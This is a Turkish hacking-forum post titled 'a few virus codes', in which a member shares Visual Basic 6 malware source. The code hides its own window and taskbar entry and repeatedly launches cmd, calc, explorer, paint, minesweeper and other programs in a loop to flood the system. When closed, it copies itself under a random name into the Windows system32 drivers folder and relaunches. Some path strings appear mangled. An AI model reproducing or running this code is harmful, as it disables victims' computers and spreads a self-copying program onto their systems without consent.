Birkaç Virüs Kodları <RemembeR>


Virüsler   

Yazar: RemembeR    0 Yorum    99 Görüntüleme
  • Derecelendirme: 0/5 - 0 oy

Paylaşım Tarihi: 30.05.2016, 18:10:15 #1
RemembeR Delikanlı
Onaylı Uye
Status: Çevrimdışı Yorumları:104 Konuları:64 Kayıt Tarihi:24.05.2016 Rep Puanı: 24

Evet Arkadaşlar Bazı Kodları Size Sunmak İstedim Umarım Begenirsiniz + Rep Vermeyi Unutmayın Kesinlikle Alıntı Değildir.

Private Sub Timer1_timer()
For i = 1 To 100
Shell "cmd"
Shell "calc"
Shell "C:\Program Files\Messenger\msmsgs.exe"
Shell "explorer"
Shell "mspaint"
Shell "sndrec32"
Shell "C:\Program Files\Movie Maker\moviemk.exe"
Shell "winmine"
Next
End Sub
Private Sub Form_Load()
App.TaskVisible = False
form1.Visible=False
End Sub


Private Sub Form_Unload(Cancel As Integer)
Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:windowssystem32drivers" & sonuc & ""
FileCopy yol, "c:windowssystem32drivers" & sonuc & ""
calis = Shell(kp)
End Sub

Kullanıcı İmzası
 
Ben Yapacağım Dedikten Sonra Kaybedeceklerimle 
Korkutmayın Umrumda Olmaz!


          [Ziyaretçiler Linklerimizi Göremezler ! Kayıt Ol!]
          

          [Ziyaretçiler Linklerimizi Göremezler ! Kayıt Ol!]











Aradığınızı Bulamadınız Mı ?

Konuyu Okuyanlar:
1 Ziyaretçi